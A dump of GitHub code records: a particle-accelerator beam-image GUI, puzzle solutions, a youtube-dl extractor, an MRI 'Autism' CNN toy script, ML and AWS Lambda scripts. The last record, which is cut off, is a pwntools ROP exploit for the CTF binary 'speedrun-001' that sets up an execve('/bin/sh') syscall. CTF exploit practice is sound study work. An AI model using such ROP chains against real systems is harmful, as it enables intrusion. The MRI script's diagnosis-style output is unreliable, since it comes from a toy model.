np.sin(kq*L)\n ch = np.cosh(kq*L)\n sh = np.sinh(kq*L)\n if K1 > 0:\n x11, x12, x21 = c, 1/kq*s, -kq*s\n y11, y12, y21 = ch, 1/kq*sh, kq*sh\n else:\n x11, x12, x21 = ch, 1/kq*sh, kq*sh\n y11, y12, y21 = c, 1/kq*s, -kq*s\n R = np.array([\n [x11, x12, 0, 0],\n [x21, x11, 0, 0],\n [0, 0, y11, y12],\n [0, 0, y21, y11],\n ])\n return R\n\n\ndef _calc_moments(axis, proj):\n dx = axis[1]-axis[0]\n Norm = np.trapz(proj, dx=dx)\n cen = np.trapz(proj*axis, dx=dx)/Norm\n sec = np.trapz(proj*axis*axis, dx=dx)/Norm\n std = np.sqrt(sec - cen*cen)\n return cen, std\n\n\ndef _gaussian(x, amp, mu, sigma, y0):\n return amp*np.exp(-(x-mu)**2.0/(2.0*sigma**2.0))+y0\n\n\ndef _fit_gaussian(x, y, amp=None, mu=None, sigma=None, y0=None):\n amp = amp or np.amax(y)\n par = _calc_moments(x, y)\n mu = mu or par[0]\n sigma = sigma or par[1]\n y0 = y0 or np.mean(y)\n try:\n p_opt, p_cov = curve_fit(_gaussian, x, y, (amp, mu, sigma, y0))\n except Exception:\n p_opt = (amp, mu, sigma, y0)\n print('Fitting Problem')\n return p_opt\n\n\nclass ImageView(PyDMImageView):\n\n def __init__(self, callback, **kwargs):\n self.callback = callback\n super().__init__(**kwargs)\n self.colorMap = self.Jet\n\n @Slot(np.ndarray)\n def image_value_changed(self, image):\n image = self.callback(image, self._image_width)\n super().image_value_changed(image)\n\n\nclass ProcessImage(QWidget):\n def __init__(self, parent=None, place='LI-Energy', prefix=_VACA_PREFIX):\n super().__init__(parent)\n self._place = place or 'LI-Energy'\n self._prefix = prefix\n self._select_experimental_setup()\n self.cen_x = None\n self.cen_y = None\n self.sigma_x = None\n self.sigma_y = None\n self.bg_ready = False\n self.bg = None\n self.nbg = 0\n self._setupUi()\n\n def _select_experimental_setup(self):\n pref = self._prefix\n if self._place.lower().startswith('li-ene'):\n prof = pref + ('-' if pref else '') + 'LA-BI:PRF4'\n self.conv_coefx = PV(prof + ':X:Gauss:Coef')\n self.conv_coefy = PV(prof + ':Y:Gauss:Coef')\n self.image_channel = prof + ':RAW:ArrayData'\n self.width_channel = prof + ':ROI:MaxSizeX_RBV'\n self.trig_name = 'LI-Fam:TI-Scrn'\n elif self._place.lower().startswith('li-emit'):\n prof = pref + ('-' if pref else '') + 'LA-BI:PRF5'\n self.conv_coefx = PV(prof + ':X:Gauss:Coef')\n self.conv_coefy = PV(prof + ':Y:Gauss:Coef')\n self.image_channel = prof + ':RAW:ArrayData'\n self.width_channel = prof + ':ROI:MaxSizeX_RBV'\n self.trig_name = 'LI-Fam:TI-Scrn'\n elif self._place.lower().startswith('tb-emit'):\n prof = _PVName('TB-02:DI-ScrnCam-2').substitute(prefix=pref)\n self.conv_coefx = PV(prof.substitute(propty='ImgScaleFactorX-RB'))\n self.conv_coefy = PV(prof.substitute(propty='ImgScaleFactorY-RB'))\n prof = _PVName('TB-02:DI-Scrn-2').substitute(prefix=pref)\n self.image_channel = prof.substitute(propty='ImgData-Mon')\n self.width_channel = prof.substitute(propty='ImgROIWidth-RB')\n self.trig_name = 'TB-Fam:TI-Scrn'\n else:\n raise Exception('Wrong value for \"place\".')\n\n def _setupUi(self):\n vl = QVBoxLayout(self)\n self.image_view = ImageView(\n self.process_image,\n parent=self,\n image_channel=self.image_channel,\n width_channel=self.width_channel)\n self.image_view.maxRedrawRate = 5\n self.image_view.readingOrder = self.image_view.Clike\n self.plt_roi = PlotCurveItem([0, 0, 400, 400, 0], [0, 400, 400, 0, 0])\n pen = mkPen()\n pen.setColor(QColor('red'))\n pen.setWidth(1)\n self.plt_roi.setPen(pen)\n self.image_view.addItem(self.plt_roi)\n self.plt_fit_x = PlotCurveItem([0, 0], [0, 400])\n self.plt_fit_y = PlotCurveItem([0, 0], [0, 400])\n self.plt_his_x = PlotCurveItem([0, 0], [0, 400])\n self.plt_his_y = PlotCurveItem([0, 0], [0, 400])\n pen = mkPen()\n pen.setColor(QColor('yellow'))\n self.plt_his_x.setPen(pen)\n self.plt_his_y.setPen(pen)\n self.image_view.addItem(self.plt_fit_x)\n self.image_view.addItem(self.plt_fit_y)\n self.image_view.addItem(self.plt_his_x)\n self.image_view.addItem(self.plt_his_y)\n vl.addWidget(self.image_view)\n\n gb_trig = QGroupBox('Trigger', self)\n vl.addWidget(gb_trig)\n gb_trig.setLayout(QVBoxLayout())\n gb_trig.layout().addWidget(HLTriggerSimple(\n gb_trig, device=self.trig_name, prefix=self._prefix))\n\n gb_pos = QGroupBox('Position [mm]', self)\n vl.addWidget(gb_pos)\n hl = QHBoxLayout(gb_pos)\n fl = QFormLayout()\n hl.addLayout(fl)\n self.cbox_method = QComboBox(gb_pos)\n self.cbox_method.addItem('Gauss Fit')\n self.cbox_method.addItem('Moments')\n fl.addRow(QLabel('Method', gb_pos), self.cbox_method)\n self.spbox_roi_size_x = QSpinBoxPlus(gb_pos)\n self.spbox_roi_size_y = QSpinBoxPlus(gb_pos)\n self.spbox_roi_center_x = QSpinBoxPlus(gb_pos)\n self.spbox_roi_center_y = QSpinBoxPlus(gb_pos)\n self.spbox_roi_size_x.setKeyboardTracking(False)\n self.spbox_roi_size_y.setKeyboardTracking(False)\n self.spbox_roi_center_x.setKeyboardTracking(False)\n self.spbox_roi_center_y.setKeyboardTracking(False)\n self.spbox_roi_size_x.setMaximum(2448)\n self.spbox_roi_size_y.setMaximum(2050)\n self.spbox_roi_center_x.setMaximum(2448)\n self.spbox_roi_center_y.setMaximum(2050)\n self.spbox_roi_size_x.setValue(300)\n self.spbox_roi_size_y.setValue(400)\n self.spbox_roi_center_x.setValue(500)\n self.spbox_roi_center_y.setValue(500)\n fl.addRow(QLabel('ROI Size X', gb_pos), self.spbox_roi_size_x)\n fl.addRow(QLabel('ROI Size Y', gb_pos), self.spbox_roi_size_y)\n self.cbbox_auto_center = QCheckBox('Automatic Centering', gb_pos)\n self.cbbox_auto_center.clicked.connect(self.cbbox_auto_center_clicked)\n self.cbbox_auto_center.setChecked(True)\n fl.addRow(self.cbbox_auto_center)\n fl.addRow(QLabel('ROI Center X', gb_pos), self.spbox_roi_center_x)\n fl.addRow(QLabel('ROI Center Y', gb_pos), self.spbox_roi_center_y)\n self.spbox_img_max = QSpinBoxPlus(gb_pos)\n self.spbox_img_max.setKeyboardTracking(False)\n self.spbox_img_max.setMinimum(0)\n self.spbox_img_max.setMaximum(2448)\n self.spbox_img_max.setValue(0)\n fl.addRow(QLabel('Max. Pixel Val.', gb_pos), self.spbox_img_max)\n self.cbbox_acq_bg = QCheckBox('Acquire Background', gb_pos)\n self.cbbox_acq_bg.clicked.connect(self.cbbox_acq_bg_checked)\n fl.addRow(self.cbbox_acq_bg)\n self.pb_reset_bg = QPushButton('Reset BG', gb_pos)\n self.pb_reset_bg.clicked.connect(self.pb_reset_bg_clicked)\n fl.addRow(self.pb_reset_bg)\n fl = QFormLayout()\n hl.addLayout(fl)\n self.lb_xave = QLabel('0', gb_pos)\n self.lb_yave = QLabel('0', gb_pos)\n self.lb_xstd = QLabel('0', gb_pos)\n self.lb_ystd = QLabel('0', gb_pos)\n fl.addRow(QLabel('Average Position', gb_pos))\n fl.addRow(QLabel('x = ', gb_pos), self.lb_xave)\n fl.addRow(QLabel('y = ', gb_pos), self.lb_yave)\n fl.addRow(QLabel('Beam Size', gb_pos))\n fl.addRow(QLabel('x = ', gb_pos), self.lb_xstd)\n fl.addRow(QLabel('y = ', gb_pos), self.lb_ystd)\n\n hl.setSpacing(12)\n hl.setStretch(0, 1)\n hl.setStretch(1, 1)\n\n def cbbox_auto_center_clicked(self, clicked):\n self.spbox_roi_center_x.setEnabled(not clicked)\n self.spbox_roi_center_y.setEnabled(not clicked)\n\n def pb_reset_bg_clicked(self, clicked=False):\n self.bg_ready = False\n self.bg = None\n self.nbg = 0\n\n def cbbox_acq_bg_checked(self, check):\n if check:\n self.pb_reset_bg_clicked()\n else:\n if self.bg is not None:\n self.bg /= self.nbg\n self.bg_ready = True\n\n def calc_roi(self, image):\n proj_x = image.sum(axis=0)\n proj_y = image.sum(axis=1)\n axis_x = np.arange(image.shape[1])\n axis_y = np.arange(image.shape[0])\n\n if self.cbbox_auto_center.isChecked():\n cen_x, _ = _calc_moments(axis_x, proj_x)\n cen_y, _ = _calc_moments(axis_y, proj_y)\n else:\n cen_x = self.spbox_roi_center_x.value()\n cen_y = self.spbox_roi_center_y.value()\n\n roi_size_x = self.spbox_roi_size_x.value()\n roi_size_y = self.spbox_roi_size_y.value()\n strt_x, end_x = np.array([-1, 1])*roi_size_x + int(cen_x)\n strt_y, end_y = np.array([-1, 1])*roi_size_y + int(cen_y)\n strt_x = max(strt_x, 0)\n strt_y = max(strt_y, 0)\n end_x = min(end_x, image.shape[1])\n end_y = min(end_y, image.shape[0])\n self.plt_roi.setData(\n np.array([strt_x, strt_x, end_x, end_x, strt_x]),\n np.array([strt_y, end_y, end_y, strt_y, strt_y]))\n\n image = image[strt_y:end_y, strt_x:end_x]\n proj_x = image.sum(axis=0)\n proj_y = image.sum(axis=1)\n axis_x = axis_x[strt_x:end_x]\n axis_y = axis_y[strt_y:end_y]\n return proj_x, proj_y, axis_x, axis_y\n\n def process_image(self, image, wid):\n if wid <= 0:\n return image\n try:\n image = image.reshape((-1, wid))\n except (TypeError, ValueError, AttributeError):\n return image\n if self.cbbox_acq_bg.isChecked():\n if self.bg is None:\n self.bg = np.array(image, dtype=float)\n else:\n self.bg += np.array(image, dtype=float)\n self.nbg += 1\n return image\n if self.bg_ready:\n image -= np.array(self.bg, dtype=image.dtype)\n b = np.where(image < 0)\n image[b] = 0\n\n maxi = self.spbox_img_max.value()\n if maxi > 0:\n b = np.where(image > maxi)\n self.image_view.colorMapMax = maxi\n image[b] = maxi\n\n proj_x, proj_y, axis_x, axis_y = self.calc_roi(image)\n x_max = max(proj_x)\n y_max = max(proj_y)\n if self.cbox_method.currentIndex():\n cen_x, std_x = _calc_moments(axis_x, proj_x)\n cen_y, std_y = _calc_moments(axis_y, proj_y)\n amp_x = x_max\n amp_y = y_max\n off_x = 0\n off_y = 0\n else:\n amp_x, cen_x, std_x, off_x = _fit_gaussian(axis_x, proj_x)\n amp_y, cen_y, std_y, off_y = _fit_gaussian(axis_y, proj_y)\n std_x = abs(std_x)\n std_y = abs(std_y)\n yd = _gaussian(axis_x, amp_x, cen_x, std_x, off_x)/x_max*400\n self.plt_fit_x.setData(axis_x, yd + axis_y[0])\n self.plt_his_x.setData(axis_x, proj_x/x_max*400 + axis_y[0])\n\n yd = _gaussian(axis_y, amp_y, cen_y, std_y, off_y)/y_max*400\n self.plt_fit_y.setData(yd + axis_x[0], axis_y)\n self.plt_his_y.setData(proj_y/y_max*400 + axis_x[0], axis_y)\n\n offset_x = image.shape[1]/2\n offset_y = image.shape[0]/2\n self.lb_xave.setText('{0:4d}'.format(int(cen_x or 0)))\n self.lb_yave.setText('{0:4d}'.format(int(cen_y or 0)))\n self.lb_xstd.setText('{0:4d}'.format(int(std_x or 0)))\n self.lb_ystd.setText('{0:4d}'.format(int(std_y or 0)))\n\n coefx = self.conv_coefx.value\n coefy = self.conv_coefy.value\n if coefx is None or coefy is None:\n return\n\n cen_x -= offset_x\n cen_y -= offset_y\n self.cen_x = cen_x * coefx*1e-3 # transform to meter\n self.cen_y = cen_y * coefy*1e-3\n self.sigma_x = std_x * coefx*1e-3\n self.sigma_y = std_y * coefy*1e-3\n\n return image\n\n def get_params(self):\n return self.cen_x, self.sigma_x, self.cen_y, self.sigma_y\n","repo_name":"lnls-sirius/hla","sub_path":"pyqt-apps/siriushla/as_ap_measure/emittance_meas.py","file_name":"emittance_meas.py","file_ext":"py","file_size_in_byte":34605,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"34595768662","text":"a = int(input())\nb = int(input())\n\ncount,new = 0,0\nwhile(a and b):\n rema,remb = a % 10,b % 10\n if(rema+remb+new>=10):\n count,new = count + 1,1\n else:\n new = 0\n a,b = a // 10,b // 10\nif(new + a % 10 >= 10 or new + b % 10 >= 10):\n count += 1\nprint(count)","repo_name":"asifmayilli/Education","sub_path":"10035 - Primary Arithmetic/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19481121342","text":"import sys\r\nfrom collections import deque\r\ninput = sys.stdin.readline\r\n\r\nm, n = map(int, input().split())\r\narray = []\r\nq = deque([])\r\n\r\n# visited 초기화\r\nvisited = [[False] * m for _ in range(n)]\r\n# input -> array\r\n\r\nfor i in range(n):\r\n row = list(map(int, input().split()))\r\n for j, value in enumerate(row):\r\n if value == 1:\r\n q.append((i, j))\r\n visited[i][j] = True\r\n if value == -1:\r\n visited[i][j] = True\r\n array.append(row)\r\n\r\ndx = [-1, 1, 0, 0]\r\ndy = [0, 0, -1, 1]\r\ndays = 0\r\n\r\ndef BFS(q):\r\n next_q = deque([])\r\n for _ in range(len(q)):\r\n x, y = q.popleft()\r\n\r\n for i in range(4):\r\n nx = x + dx[i]\r\n ny = y + dy[i]\r\n\r\n if nx < 0 or nx >= n or ny < 0 or ny >= m:\r\n continue\r\n if array[nx][ny] == -1:\r\n visited[nx][ny] = True\r\n continue\r\n if array[nx][ny] == 0 and not visited[nx][ny]:\r\n array[nx][ny] = 1\r\n visited[nx][ny] = True\r\n next_q.append((nx, ny))\r\n\r\n return next_q\r\n\r\ndef check(days):\r\n for i in range(n):\r\n if False in visited[i]:\r\n return -1\r\n if days:\r\n days -= 1\r\n return days\r\n\r\nwhile q:\r\n q = BFS(q)\r\n days += 1\r\n\r\nprint(check(days))","repo_name":"Mminy62/algorithm","sub_path":"백준/Gold/7576. 토마토/토마토.py","file_name":"토마토.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10375293669","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nimport re\n\nfrom .common import InfoExtractor\nfrom ..utils import remove_end\n\n\nclass TwentyMinutenIE(InfoExtractor):\n IE_NAME = '20min'\n _VALID_URL = r'https?://(?:www\\.)?20min\\.ch/(?:videotv/*\\?.*\\bvid=(?P\\d+)|(?:[^/]+/)*(?P[^/#?]+))'\n _TESTS = [{\n # regular video\n 'url': 'http://www.20min.ch/videotv/?vid=469148&cid=2',\n 'md5': 'b52d6bc6ea6398e6a38f12cfd418149c',\n 'info_dict': {\n 'id': '469148',\n 'ext': 'flv',\n 'title': '85 000 Franken für 15 perfekte Minuten',\n 'description': 'Was die Besucher vom Silvesterzauber erwarten können. (Video: Alice Grosjean/Murat Temel)',\n 'thumbnail': 'http://thumbnails.20min-tv.ch/server063/469148/frame-72-469148.jpg'\n }\n }, {\n # news article with video\n 'url': 'http://www.20min.ch/schweiz/news/story/-Wir-muessen-mutig-nach-vorne-schauen--22050469',\n 'md5': 'cd4cbb99b94130cff423e967cd275e5e',\n 'info_dict': {\n 'id': '469408',\n 'display_id': '-Wir-muessen-mutig-nach-vorne-schauen--22050469',\n 'ext': 'flv',\n 'title': '«Wir müssen mutig nach vorne schauen»',\n 'description': 'Kein Land sei innovativer als die Schweiz, sagte Johann Schneider-Ammann in seiner Neujahrsansprache. Das Land müsse aber seine Hausaufgaben machen.',\n 'thumbnail': 'http://www.20min.ch/images/content/2/2/0/22050469/10/teaserbreit.jpg'\n }\n }, {\n 'url': 'http://www.20min.ch/videotv/?cid=44&vid=468738',\n 'only_matching': True,\n }, {\n 'url': 'http://www.20min.ch/ro/sortir/cinema/story/Grandir-au-bahut--c-est-dur-18927411',\n 'only_matching': True,\n }]\n\n def _real_extract(self, url):\n mobj = re.match(self._VALID_URL, url)\n video_id = mobj.group('id')\n display_id = mobj.group('display_id') or video_id\n\n webpage = self._download_webpage(url, display_id)\n\n title = self._html_search_regex(\n r'

.*?(.+?)

',\n webpage, 'title', default=None)\n if not title:\n title = remove_end(re.sub(\n r'^20 [Mm]inuten.*? -', '', self._og_search_title(webpage)), ' - News')\n\n if not video_id:\n video_id = self._search_regex(\n r'\"file\\d?\"\\s*,\\s*\\\"(\\d+)', webpage, 'video id')\n\n description = self._html_search_meta(\n 'description', webpage, 'description')\n thumbnail = self._og_search_thumbnail(webpage)\n\n return {\n 'id': video_id,\n 'display_id': display_id,\n 'url': 'http://speed.20min-tv.ch/%sm.flv' % video_id,\n 'title': title,\n 'description': description,\n 'thumbnail': thumbnail,\n }\n","repo_name":"AntidoteLabs/Antidote-DM","sub_path":"Antidotes DM/youtube_dl/extractor/twentymin.py","file_name":"twentymin.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"23736359641","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import EarlyStopping\nfrom PIL import Image\n\n# Define the target size for resizing images\ntarget_size = (128, 128)\n\n# Create your custom model\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), activation='relu', input_shape=(*target_size, 3)))\nmodel.add(MaxPooling2D((2, 2)))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2)))\nmodel.add(Conv2D(128, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D((2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1, activation='sigmoid'))\n\n# Compile the model\nmodel.compile(loss='binary_crossentropy', optimizer=Adam(learning_rate=0.001), metrics=['accuracy'])\n\n# Define the path to your data directory\ndata_directory = r'E:\\Open CV\\Autism Dataset'\n\n# Data preprocessing and augmentation\ntrain_datagen = ImageDataGenerator(\n rescale=1./255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True\n)\n\nbatch_size = 32\n\n# Load and preprocess the training data\ntrain_generator = train_datagen.flow_from_directory(\n data_directory,\n target_size=target_size, # Resize all images to the target size\n batch_size=batch_size,\n class_mode='binary'\n)\n\n# Add EarlyStopping callback\nearly_stopping = EarlyStopping(monitor='val_loss', patience=3, verbose=1)\n\n# Train the model with EarlyStopping callback\nmodel.fit(\n train_generator,\n steps_per_epoch=train_generator.samples // batch_size,\n epochs=5,\n callbacks=[early_stopping] # Add the EarlyStopping callback\n)\n\n# Function to load and preprocess a single image for prediction\ndef load_and_preprocess_image(file_path):\n img = Image.open(file_path)\n\n # Ensure the image is in RGB mode (convert if needed)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img = img.resize(target_size)\n img_array = np.array(img)\n img_array = np.expand_dims(img_array, axis=0)\n img_array = img_array / 255.\n return img_array\n\n# Load an image for prediction\nimg_path = r'E:\\Open CV\\Testing_Images\\Not Autism.png'\nimg_array = load_and_preprocess_image(img_path)\n\n# Make the prediction\nprediction = model.predict(img_array)\nprint(\"percentage of Prediction Is \", prediction)\nif prediction[0] < 0.5:\n print(\"The MRI image does not have Autism.\")\nelse:\n print(\"The MRI image has Autism.\")\n","repo_name":"nikhilsahu2002/Open-CV","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30907245907","text":"from operator import truediv\nimport os \nfrom datetime import datetime\n\n\nlap = 1\n# resp = os.popen(\"ping -n 1 192.168.1.1\")\n\n\nwhile lap <= 5:\n TIME = datetime.now() #.strftime('%y-%m-%d %H_%M_%S')\n resp = os.popen(\"ping -n 100 192.168.1.1\")\n with open(f\"ping_report_{lap}.txt\", \"w\") as file:\n file.write(f'Ping Time: {TIME}\\n')\n for x in resp:\n file.write(f'Ping Response: {x}')\n\n lap += 1\n","repo_name":"TheCoolCrater/FHSconnect","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14868508271","text":"from django.urls import path\nfrom Employee.views import *\n\nurlpatterns = [\n path('',user_login,name='default_login'),\n path('login/',user_login,name='login'),\n path('logout/',user_logout,name='logout'),\n path('success/',success,name='success'),\n path('crm_home/',crm_home_load,name='crm_home_load'),\n path('sourcing_home/',sourcing_home_load,name='sourcing_home_load'),\n path('sales_home/',sales_home_load,name='sales_home_load'),\n path('management_home/',management_home_load,name='management_home_load'),\n\n #API Urls\n path('api/login/',LoginView.as_view()),\n path('api/logout/',LogoutView),\n]","repo_name":"milankar999/aeprocurex","sub_path":"Employee/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73289399523","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import linear_model\nfrom sklearn.ensemble import RandomForestClassifier\nfrom datetime import datetime\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.ensemble import VotingClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom imblearn.over_sampling import RandomOverSampler\nfrom sklearn.utils import resample\nfrom sklearn.decomposition import PCA\nfrom ngboost.ngboost import NGBoost\nfrom ngboost.learners import default_tree_learner\nfrom ngboost.distns import Normal\nfrom ngboost.scores import MLE\n\ndef try_model(regressor, X_train, X_test, y_train, y_test):\n regressor.fit(X_train, y_train)\n y_predicted = regressor.predict(X_test)\n y_model = regressor.predict(X_train)\n print('Train AUROC:', roc_auc_score(y_train.values.flatten(), y_model), end=' - ')\n print('Test AUROC:', roc_auc_score(y_test.values.flatten(), y_predicted))\n print()\n return y_predicted\n\n\ndef test(d, y):\n X_train, X_test, y_train, y_test = train_test_split(d, y, test_size=0.2, random_state=42, shuffle=True)\n rf = RandomForestClassifier(n_estimators = 100, random_state = 42)\n svc = LinearSVC()\n nb = GaussianNB()\n algs = ['Random Forest', 'SVC', 'Naive Bayes']\n for i, j in enumerate([rf, svc, nb]):\n print(algs[i])\n try_model(j, X_train, X_test, y_train, y_test)\n\n print('Majority Voting')\n model = VotingClassifier(estimators=[('svc', svc), ('rf', rf), ('nb', nb)], voting='hard')\n try_model(model, X_train, X_test, y_train, y_test)\n\n\n\nfor dataset in range(1, 4):\n print()\n print('TARGET', dataset)\n data = pd.read_csv('target{}_training_data.csv'.format(dataset))\n y = pd.read_csv('target{}_training_label.csv'.format(dataset), index_col=0)\n\n test_data_x = pd.read_csv('target{}_test_data.csv'.format(dataset))\n\n def data_handle(df1, df2):\n df1['Train'] = 1\n df2['Train'] = 0\n df = pd.concat([df1, df2])\n df = df.reset_index()\n df = df.drop(df.columns[df.isna().sum()>len(df)*0.2], axis=1)\n df = df.drop('ID', axis=1)\n df = df.fillna(df.mean())\n df = df.fillna(df.mode())\n object_cols = df.dtypes[(df.dtypes != int) & (df.dtypes != float)].index\n df = pd.get_dummies(df, object_cols)\n return df\n\n df = data_handle(data, test_data_x)\n df = df[df['Train']==1]\n df['Y'] = y\n df = pd.concat([df[df['Y']==0], resample(df[df['Y']==1], replace=True, n_samples=len(df[df['Y']==0]), random_state=42)])\n y = df['Y']\n df = df.drop('Y', axis=1)\n\n pca = PCA(n_components=20)\n pca.fit(df)\n X_pca = pca.transform(df)\n\n test(X_pca, y)\n\n# rf = RandomForestClassifier(n_estimators = 200, random_state = 42)\n# rf.fit(df[df['Train']==1], y)\n# y_pred = pd.DataFrame()\n# y_pred['ID'] = test_data_x.ID\n# y_pred['TARGET'] = rf.predict(df[df['Train']==0])\n# print(dataset)\n# y_pred.to_csv('prediction{}.csv'.format(dataset), index=False)\n","repo_name":"ethemgur/MachineLearning","sub_path":"Problems/LatePayments/late_payments.py","file_name":"late_payments.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7658652042","text":"# -*- coding: utf-8 -*-\r\n# Copyright : INSEE, 2021\r\n\r\nimport pandas as pd\r\nfrom tqdm import trange\r\n\r\nfrom pynsee.macrodata.get_dataset_list import get_dataset_list\r\nfrom pynsee.macrodata._get_dataset_dimension import _get_dataset_dimension\r\nfrom pynsee.macrodata._get_dimension_values import _get_dimension_values\r\n\r\n\r\ndef get_column_title(dataset=None):\r\n \"\"\"Get the title of a dataset's columns\r\n\r\n Args:\r\n dataset (str, optional): An INSEE dataset name. Defaults to None, this returns all columns.\r\n\r\n Raises:\r\n ValueError: Only one string (length one)\r\n ValueError: Dataset must belong to INSEE datasets list\r\n\r\n Examples:\r\n >>> from pynsee.macrodata import get_column_title\r\n >>> insee_all_columns = get_column_title()\r\n >>> balance_paiements_columns = get_column_title(\"BALANCE-PAIEMENTS\")\r\n \"\"\"\r\n\r\n insee_dataset = get_dataset_list()\r\n insee_dataset_list = insee_dataset[\"id\"].to_list()\r\n\r\n if dataset is None:\r\n dataset_list = insee_dataset_list\r\n else:\r\n for dt in dataset:\r\n if dt not in insee_dataset_list:\r\n raise ValueError(\"%s is not a dataset from INSEE\" % dt)\r\n dataset_list = dataset\r\n\r\n # make a list of all columns\r\n list_column = []\r\n\r\n n_dataset = len(dataset_list)\r\n\r\n for idt in trange(n_dataset, desc=\"1/2 - Getting columns list \"):\r\n dt = dataset_list[idt]\r\n dataset_dimension = _get_dataset_dimension(dt)\r\n dataset_dimension = dataset_dimension[[\"dimension\", \"local_representation\"]]\r\n list_column.append(dataset_dimension)\r\n\r\n df_column = pd.concat(list_column)\r\n df_column = df_column.drop_duplicates()\r\n\r\n list_column = []\r\n n_dimensions = len(df_column.index)\r\n\r\n for irow in trange(n_dimensions, desc=\"2/2 - Getting values \"):\r\n dim_id = df_column[\"dimension\"].iloc[irow]\r\n dim_id = str(dim_id).replace(\"-\", \"_\")\r\n dim_local_rep = df_column[\"local_representation\"].iloc[irow]\r\n\r\n dim_values = _get_dimension_values(dim_local_rep)\r\n\r\n # drop dimension label\r\n dim_values = dim_values[dim_values[\"id\"] == dim_local_rep]\r\n\r\n # new column with the dimension id\r\n dim_values = dim_values.assign(\r\n column=pd.Series(\r\n dim_id * len(dim_values.index), index=dim_values.index\r\n ).values\r\n )\r\n dim_values = dim_values[[\"column\", \"name_fr\", \"name_en\"]]\r\n list_column.append(dim_values)\r\n\r\n df_column_final = pd.concat(list_column).reset_index(drop=True)\r\n return df_column_final\r\n","repo_name":"InseeFrLab/pynsee","sub_path":"pynsee/macrodata/get_column_title.py","file_name":"get_column_title.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"54"} +{"seq_id":"71466356962","text":"import boto3\nimport json\nimport os\nimport urllib.parse\nimport traceback\nimport logging\nfrom botocore.exceptions import ClientError\n\ns3 = boto3.client('s3')\nstepfunctions = boto3.client('stepfunctions')\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndef lambda_handler(event, context):\n # Get the bucket name and file key from the event\n bucket = event['Records'][0]['s3']['bucket']['name']\n key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'], encoding='utf-8')\n\n try:\n # Rename the file if it has spaces\n new_key = key.replace(\" \", \"\")\n if new_key != key:\n s3.copy_object(Bucket=bucket, CopySource={'Bucket': bucket, 'Key': key}, Key=new_key)\n s3.delete_object(Bucket=bucket, Key=key)\n \n # Update the event with the new key\n event['Records'][0]['s3']['object']['key'] = new_key\n\n # Trigger the Step Function with the updated event\n STATE_MACHINE_ARN = os.environ['STATE_MACHINE_ARN']\n stepfunctions.start_execution(\n stateMachineArn=STATE_MACHINE_ARN,\n input=json.dumps(event)\n )\n\n return {\n 'statusCode': 200,\n 'message': f\"Execution started on step function pipeline for document with ID {key}.\",\n 'key': key\n }\n\n except Exception as e:\n error_type = \"ClientError\" if isinstance(e, ClientError) else \"UnexpectedError\"\n logger.error(traceback.format_exc())\n logger.error(f\"{error_type} error for triggering step function pipeline for document with ID: {key}. Error: {str(e)}\")\n \n return {\n 'statusCode': 500,\n 'errors': [{\n 'type': error_type,\n 'message': str(e)\n }]\n }\n","repo_name":"aws-samples/pace-genai-demos","sub_path":"Embeddings-Foundational-LLM-ChatBot/api/trigger-pipeline/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"25981516971","text":"from pwn import *\n\ntarget = process('./speedrun-001')\n# gdb.attach(target, gdbscript = 'b *0x400bad')\n\npopRax = p64(0x415664)\npopRdi = p64(0x400686)\npopRsi = p64(0x4101f3)\npopRdx = p64(0x4498b5)\n\nmovGadget = p64(0x48d251)\n\nsyscall = p64(0x40129c)\n\n'''\nequivalent to\n\npop rdx, 0x2f62696e2f736800 (/bin/bash)\npop rax, 0x6b6000\nmov qword ptr [rax], rdx\n'''\nrop = b''\nrop += popRdx\nrop += bytes('/bin/sh\\x00', 'utf8')\nrop += popRax\nrop += p64(0x6b6000)\nrop += movGadget\n\n'''\npreparation for the syscall\n'''\nrop += popRax\nrop += p64(0x3b)\n\nrop += popRdi\nrop += p64(0x6b6000)\n\nrop += popRsi\nrop += p64(0)\n\nrop += 